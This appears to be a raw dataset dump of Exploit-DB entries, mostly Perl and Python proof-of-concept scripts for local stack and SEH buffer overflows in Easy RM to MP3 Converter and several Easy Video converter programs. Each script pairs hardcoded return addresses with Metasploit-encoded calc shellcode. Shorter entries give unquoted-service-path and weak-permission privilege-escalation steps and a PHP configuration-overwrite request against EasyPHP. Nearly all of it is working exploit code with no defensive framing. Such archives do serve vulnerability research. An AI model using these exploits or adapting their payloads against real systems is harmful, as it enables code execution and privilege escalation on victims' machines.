deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10602
Description: Easy RM to MP3 27.3.700 (Windows XP SP3) - Local Overflow
Type: local
Platform: windows
Date: 2009-12-22
Author: d3b4g

Exploit:
#
# Exploit for Easy RM to MP3 27.3.700 on  Windows Xp sp3
# By d3b4g
# tested on Windows XP SP3 
# version:27.3.700
# Date:22.12.09
# From tiny islands of maldivies
#
my $file= "d3b4g.m3u";

my $junk= "A" x 26071;
my $eip = pack('V',0x7C836A08);  #jmp esp from  kernel32.dll
my $shellcode = "\x90" x 30;

# windows/exec - 144 bytes
#  Thanks to http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";


open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Exploit-DB #8427
Description: Easy RM to MP3 Converter - Universal Stack Overflow
Type: local
Platform: windows
Date: 2009-04-14
Author: Stack

Exploit:
#!/usr/bin/python
# Easy RM to MP3 Converter Universall Stack Overflow Exploit
# By Stack
# hihihi
# StaKer : Only Fabri Fibra :d
header = (
"\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D"
"\x0A\x4E\x75\x6D\x62\x65\x72\x4F\x66\x45"
"\x6E\x74\x72\x69\x65\x73\x3D\x31\x0A\x46"
"\x69\x6C\x65\x31\x3D")
junk = "\x41"*1244
eip = "\xDB\x70\xBB\x01" #  Universall Adress
 # Abouts addres
 # Executable modules, item 5
 # Base=01A20000
 # Size=0049D000 (4837376.)
 # Entry=01B835B1 MSRMCu_3.<ModuleEntryPoint>
 # Name=MSRMCu_3
 # Path=C:\Program Files\Easy RM to MP3 Converter\MSRMCutility04.dll

nops = "\x90" * 20
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
ex = header+junk+eip+nops+shellcode
file=open("Exploit.pls","w")
file.write(ex)
file.close()

# milw0rm.com [2009-04-14]
Exploit-DB #9177
Description: Easy RM to MP3 Converter 2.7.3.700 - '.m3u' Universal Buffer Overflow
Type: local
Platform: windows
Date: 2009-07-16
Author: Crazy_Hacker

Exploit:
#!/usr/bin/perl
# Easy RM to MP3 Converter 2.7.3.700 (.m3u) File Universal Buffer Overflow Exploit
# Author: Crazy_Hacker
# Download :  http://www.rm-to-mp3.net/EasyRMtoMP3Converter.exe
# Tested : Windows XP SP2 (En)
# Greetz : Thugz_Hacker,Syrian Hacker,Golden_z3ro,Managerplay
# Home : www.sec-t.com
# viva Xhackers Team ;)
# welcome back Milw0rm

print "\n\n################################################## \n";
print "Exploit By : Crazy_Hacker \n";
print "Vurnable Pro : Easy RM to MP3 Converter 2.7.3.700 \n";
print "Tested on : Windows XP SP2 (En) \n";
print "Description : Stack Local Buffer Oveflow \n";
print "File type : .m3u \n";
print "################################################## \n";
$junk = "\x41" x 26061;
$ret = "\x0F\x3F\xA1\x01"; # => Universal Address (MSRMCcodec02.dll)
$nopsled = "\x90" x 20;
# windows/exec - 144 bytes   thanks to metasploit    Encoder: x86/shikata_ga_nai   EXITFUNC=seh, CMD=calc
$shellcode =
"\xdb\xdf\xbd\xe4\x47\x45\x20\xd9\x74\x24\xf4\x5f\x33\xc9" .
"\xb1\x1e\x83\xef\xfc\x31\x6f\x14\x03\x6f\xf0\xa5\xb0\xdc" .
"\x10\x6d\x3b\x1d\xe0\xe5\x7e\x21\x6b\x85\x85\x21\x6a\x99" .
"\x0d\x9e\x74\xee\x4d\x01\x85\x1b\x38\xca\xb1\x50\xba\x22" .
"\x88\xa6\x24\x16\x6e\xe6\x23\x60\xaf\x2d\xc6\x6f\xed\x59" .
"\x2d\x54\xa5\xb9\xca\xde\xa0\x49\x8d\x04\x2b\xa5\x54\xce" .
"\x27\x72\x12\x8f\x2b\x85\xcf\xbb\x4f\x0e\x0e\x57\xe6\x4c" .
"\x35\xa3\x3b\x33\x04\x5d\xdb\x9a\x02\x2a\x5d\x13\x40\x6c" .
"\x6d\xd8\x26\x71\xc0\x55\xae\x81\x93\x92\xac\x52\xc9\x32" .
"\xdb\xa2\x87\xb7\x44\x2b\x0f\x49\xf0\xa5\x78\x49\xe2\xd9" .
"\xe7\xd9\x8e\x1d";


$exploit = $junk.$ret.$nopsled.$shellcode;

print "\n[+] Creating Exploit File ...\n";
open($cc ,">Exploit.m3u");
print $cc $exploit;
close($cc);

print "[+] Exploit File Created (Exploit.m3u)\n";

# milw0rm.com [2009-07-16]
Exploit-DB #10374
Description: Easy RM to MP3 Converter 2.7.3.700 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-12-10
Author: Vinod Sharma

Exploit:
#!/usr/bin/perl
# Easy RM to MP3 Converter 2.7.3.700 (.m3u) File WinXP Sp2 Buffer Overflow Exploit
# Author: Vinod Sharma
# Download :  http://www.rm-to-mp3.net/EasyRMtoMP3Converter.exe
# Tested : Windows XP SP2 (En)
# Thanks to exploit-db
# Originally published at : http://securitygyan.com/2009/12/10/easyrmtomp3-m3ufile-exploit/
#Vulnerability discovered by CYBER-ZONE 
#Advisory:http://secunia.com/advisories/34653
my $file= "exploit.m3u";
my $junk= "\x41" x 26059;
my $eip= pack('V', 0x01a8f23a);
my $shellcode= "\x90" x 25;

#/*
 #* windows/exec - 223 bytes
 #* http://www.metasploit.com
 #* Encoder: x86/shikata_ga_nai
 #* EXITFUNC=thread, CMD=calc
 #*/
$shellcode = $shellcode. 
"\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4".
"\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff".
"\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8".
"\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69".
"\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3".
"\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76".
"\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07".
"\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57".
"\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d".
"\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62".
"\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c".
"\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27".
"\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0".
"\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed".
"\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66".
"\xf3\x07";

$shellcode = $shellcode."\x90" x 25;
open($FILE, ">$file");
print($FILE $junk.$eip.$shellcode);
close($FILE);
print("exploit created successfully");
Exploit-DB #42586
Description: Easy Vedio to PSP Converter 1.6.20 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-08-28
Author: Kishan Sharma

Exploit:
 
#!/usr/bin/python

###############################################################################
# Exploit Title: Easy Vedio to PSP Converter 1.6.20 - Local Buffer Overflow (SEH)
# Date: 28-08-2017
# Exploit Author: Kishan Sharma
# Email 	: thekishansharma@gmail.com
# Vulnerable Software: Easy Vedio to PSP Converter
# Vendor Homepage: http://www.divxtodvd.net/
# Version: 1.6.20
# Software Link: http://www.divxtodvd.net/easy_video_to_psp.exe
# Tested On: Windows 7 x64 
# To reproduce the exploit:
# 1. Click Register
# 2. In the "Enter User Name" field, paste the content of test.txt
#
##############################################################################


buffer = "\x41" * 1008  #Junk

nSEH = "\xeb\x10\x90\x90" #Short Jump 

# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10" 

badchars = "\x00\x0a\x0d" # and 0x80 to 0xff

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf = ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"

nops = "\x90" * 16 #Nops

badchars = "\x0a\x0d"

data = buffer + nSEH + SEH + nops + buf

f = open ("test.txt", "w")
f.write(data)
f.close()
Exploit-DB #46255
Description: Easy Video to iPod Converter 1.6.20 - Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2019-01-28
Author: Nawaf Alkeraithe

Exploit:
# Exploit Title: Easy Video to iPod Converter - Local Buffer Overflow (SEH)
# Date: 2019-01-26
# Exploit Author: Nawaf Alkeraithe
# Twitter: @Alkeraithe1
# Vulnerable Software: Easy Video to iPod Converter 1.6.20
# Vendor Homepage: http://www.divxtodvd.net/
# Version: 1.6.20 
# Software Link: http://www.divxtodvd.net/easy_video_to_ipod.exe
# Tested Windows XP SP3 x86

# PoC Steps
#1- run the program
#2- click on "Register"
#3- In the "Enter User Name" field, past the content of the payload, and click "OK"


junk = "A"*996
jmp = "\xEB\x06\x90\x90"
popPopRetAddr = "\x11\x7B\x03\x10"
NOPs = "\x90"*20;
shellCode = "\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"

payload = junk + jmp + popPopRetAddr + NOPs + shellCode

exploitText = open("exploit.txt","w")
exploitText.write(payload)
exploitText.close()
Exploit-DB #42548
Description: Easy Video to iPod/MP4/PSP/3GP Converter 1.5.20 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-08-24
Author: Anurag Srivastava

Exploit:
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        Easy Video to iPod/MP4/PSP/3GP Converter 1.5.20 - 'Enter User Name' Field Buffer Overflow (SEH)
# Date:                 24-08-2017
# Exploit Author:       Anurag Srivastava 
# Website:		www.pyramidcyber.com
# Vulnerable Software:  Easy Video to iPod/MP4/PSP/3GP Converter 
# Vendor Homepage:      http://www.divxtodvd.net/
# Version:              1.5.20
# Software Link:        http://www.divxtodvd.net/easy_ipod_mp4_psp_3gp.exe
# Tested On:            Windows 7 x64 
#
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of pyramid.txt
#
##############################################################################
 

buffer = "\x41" * 1008   
 
nSEH = "\xeb\x10\x90\x90"
 
# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"
 
badchars = "\x00\x0a\x0d" # and 0x80 to 0xff
 
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"
 
nops = "\x90" * 16
 
badchars = "\x0a\x0d"
 
data = buffer + nSEH + SEH + nops + buf
 
f = open ("pyramid.txt", "w")
f.write(data)
f.close()
Exploit-DB #42567
Description: Easy WMV/ASF/ASX to DVD Burner 2.3.11 - Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2017-08-28
Author: Touhid M.Shaikh

Exploit:
#!/usr/bin/python

#========================================================================================================================
# Exploit Author:       Touhid M.Shaikh
# Exploit Title:        Easy WMV/ASF/ASX to DVD Burner 2.3.11 - 'Enter User
Name' Field Buffer Overflow (SEH)
# Date:                 28-08-2017
# Website:       www.touhidshaikh.com
# Vulnerable Software:  Easy WMV/ASF/ASX to DVD Burner
# Vendor Homepage:      http://www.divxtodvd.net/
# Version:              2.3.11
# Software Link:        http://www.divxtodvd.net/easy_wmv_to_dvd.exe
# Tested On:            Windows 7 x86
#
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of calc.txt
#
#========================================================================================================================


buffer = "\x41" * 1008

nSEH = "\xeb\x10\x90\x90"

# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ}
[SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"

badchars = "\x00\x0a\x0d" # and 0x80 to 0xff

# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
buf += "\xc9\xb1\x31\x31\x56\x18\x03\x56\x18\x83\xee\xfb\x2a"
buf += "\x0c\xed\xeb\x29\xef\x0e\xeb\x4d\x79\xeb\xda\x4d\x1d"
buf += "\x7f\x4c\x7e\x55\x2d\x60\xf5\x3b\xc6\xf3\x7b\x94\xe9"
buf += "\xb4\x36\xc2\xc4\x45\x6a\x36\x46\xc5\x71\x6b\xa8\xf4"
buf += "\xb9\x7e\xa9\x31\xa7\x73\xfb\xea\xa3\x26\xec\x9f\xfe"
buf += "\xfa\x87\xd3\xef\x7a\x7b\xa3\x0e\xaa\x2a\xb8\x48\x6c"
buf += "\xcc\x6d\xe1\x25\xd6\x72\xcc\xfc\x6d\x40\xba\xfe\xa7"
buf += "\x99\x43\xac\x89\x16\xb6\xac\xce\x90\x29\xdb\x26\xe3"
buf += "\xd4\xdc\xfc\x9e\x02\x68\xe7\x38\xc0\xca\xc3\xb9\x05"
buf += "\x8c\x80\xb5\xe2\xda\xcf\xd9\xf5\x0f\x64\xe5\x7e\xae"
buf += "\xab\x6c\xc4\x95\x6f\x35\x9e\xb4\x36\x93\x71\xc8\x29"
buf += "\x7c\x2d\x6c\x21\x90\x3a\x1d\x68\xfe\xbd\x93\x16\x4c"
buf += "\xbd\xab\x18\xe0\xd6\x9a\x93\x6f\xa0\x22\x76\xd4\x5e"
buf += "\x69\xdb\x7c\xf7\x34\x89\x3d\x9a\xc6\x67\x01\xa3\x44"
buf += "\x82\xf9\x50\x54\xe7\xfc\x1d\xd2\x1b\x8c\x0e\xb7\x1b"
buf += "\x23\x2e\x92\x7f\xa2\xbc\x7e\xae\x41\x45\xe4\xae"

nops = "\x90" * 16

data = buffer + nSEH + SEH + nops + buf

f = open ("calc.txt", "w")
f.write(data)
f.close()

#Greetz => Jack Carlo
Exploit-DB #47712
Description: Easy-Hide-IP 5.0.0.3 - 'EasyRedirect' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-25
Author: Rene Cortes S

Exploit:
# Exploit Title: Easy-Hide-IP 5.0.0.3 - 'EasyRedirect' Unquoted Service Path
# Date: 2019-11-22
# Exploit Author: Rene Cortes S
# Vendor Homepage: https://easy-hide-ip.com
# Software Link: https://easy-hide-ip.com
# Version: 5.0.0.3
# Tested on: Windows 7 Professional Service Pack 1

##########################################################################################################################

Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

EasyRedirect		EasyRedirect	C:\Program Files\Easy-Hide-IP\rdr\EasyRedirect.exe	Auto


##############################################################################################################################################

Service info:

C:\Users\user>sc qc EasyRedirect
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: EasyRedirect
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Easy-Hide-IP\rdr\EasyRedirect.exe
        GRUPO_ORDEN_CARGA  : 
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : EasyRedirect
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem

#########################################################################################################################
Exploit-DB #8657
Description: EasyPHP 3.0 - Arbitrary Modify Configuration File
Type: local
Platform: windows
Date: 2009-05-11
Author: Zigma

Exploit:
Bug         : Arbitrary Modify Configuration File
Vendor      : EasyPHP
Vendor URI  : http://sourceforge.net/projects/quickeasyphp/
Product     : EasyPHP 2.0
Author      : Zigma [zigmatn  @  gmail.com]
              http://NullArea.NET

Description :

EasyPHP is a WAMP software bundle that installs web server services onto the Windows computer and allows quick-and-easy development of PHP and MySQL on a localhost (also known as 127.0.0.1). 
The package includes an Apache server, a MySQL database, and the PHP extension.

[+] Analyis :  

A slight look on i18n.inc 
                   
if (isset($_GET['lang']) AND $_GET['lang'] != $lang)
{
	$fp = fopen($filename, "r");
	$ini_contents = fread($fp, filesize($filename));
	fclose($fp);
	$ini_contents = str_replace("LangAdmin=".$lang, "LangAdmin=".$_GET['lang'], $ini_contents); <--
	$fp = fopen($filename, "w");
	fputs($fp,$ini_contents);
	fclose($fp);
	Header("Location: " . $_SERVER['PHP_SELF']); 
	exit;
}

EasyPHP does not verify user Input ( Lang parameter ) wich leads to arbitrary overwrite EasyPHP configuration file (EasyPHP.ini) .  

[+] Proof Of Concept  :

The request :

http://localhost/index.php?lang=fr%00Lang=Overwritten

Results in overwriting EasyPHP.ini Adding the string "Lang=Overwritten".

# milw0rm.com [2009-05-11]
Exploit-DB #40902
Description: EasyPHP Devserver 16.1.1 - Insecure File Permissions Privilege Escalation
Type: local
Platform: windows
Date: 2016-12-11
Author: Ashiyane Digital Security Team

Exploit:
Title: EasyPHP Devserver Insecure File Permissions Privilege Escalation
Application: EasyPHP Devserver
Versions Affected: 16.1
Vendor URL: http://www.easyphp.org/
Discovered by: Ashiyane Digital Security Team ~ Micle
Tested on: Windows 10 Professional x86
Bugs: Insecure File Permissions Privilege Escalation
Source: http://www.micle.ir/exploits/1003
Date: 10-Dec-2016

Description:
EasyPHP installs by default to "C:\Program Files\EasyPHP-Devserver-16.1" 
with very weak file permissions granting any
user full permission to the exe. This allows opportunity for code 
execution against any other user running the application.

Proof:
C:\Program Files\EasyPHP-Devserver-16.1>cacls run-easyphp-devserver.exe
C:\Program Files\EasyPHP-Devserver-16.1\run-easyphp-devserver.exe 
BUILTIN\Users:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
                                   BUILTIN\Administrators:(ID)F
                                   APPLICATION PACKAGE AUTHORITY\ALL 
APPLICATION PACKAGES:(ID)R

Exploit:
Simply replace run-easyphp-devserver.exe and wait for execution.
Exploit-DB #49647
Description: eBeam education suite 2.5.0.9 - 'eBeam Device Service' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-15
Author: Luis Martínez

Exploit:
# Exploit Title: eBeam education suite 2.5.0.9 - 'eBeam Device Service' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage: https://www.luidia.com
# Tested Version: 2.5.0.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\
Windows\\" | findstr /i "eBeam" | findstr /i /v """


eBeam Device Service	eBeam Device Service	C:\Program Files (x86)\Luidia\eBeam Device Service\eBeamDeviceServiceMain.exe	Auto


# Service info:

C:\>sc qc "eBeam Device Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: eBeam Device Service
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Luidia\eBeam Device Service\eBeamDeviceServiceMa
in.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : eBeam Device Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #49673
Description: Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-19
Author: Riadh Bouchahoua

Exploit:
# Exploit Title: Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path
# Discovery by: Riadh Bouchahoua 
# Discovery Date: 19-03-2021
# Vendor Homepage: https://mosquitto.org/
# Software Links : https://mosquitto.org/download/
# Tested Version: 2.0.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:



====

C:\Users\Admin>wmic service get name,pathname,startmode |findstr /i /v "C:\Windows\\" |findstr  "mosquitto"
mosquitto                                               C:\Program Files\mosquitto\mosquitto.exe run                      

====

C:\Users\Admin>sc qc mosquitto
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: mosquitto
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\mosquitto\mosquitto.exe run
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Mosquitto Broker
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem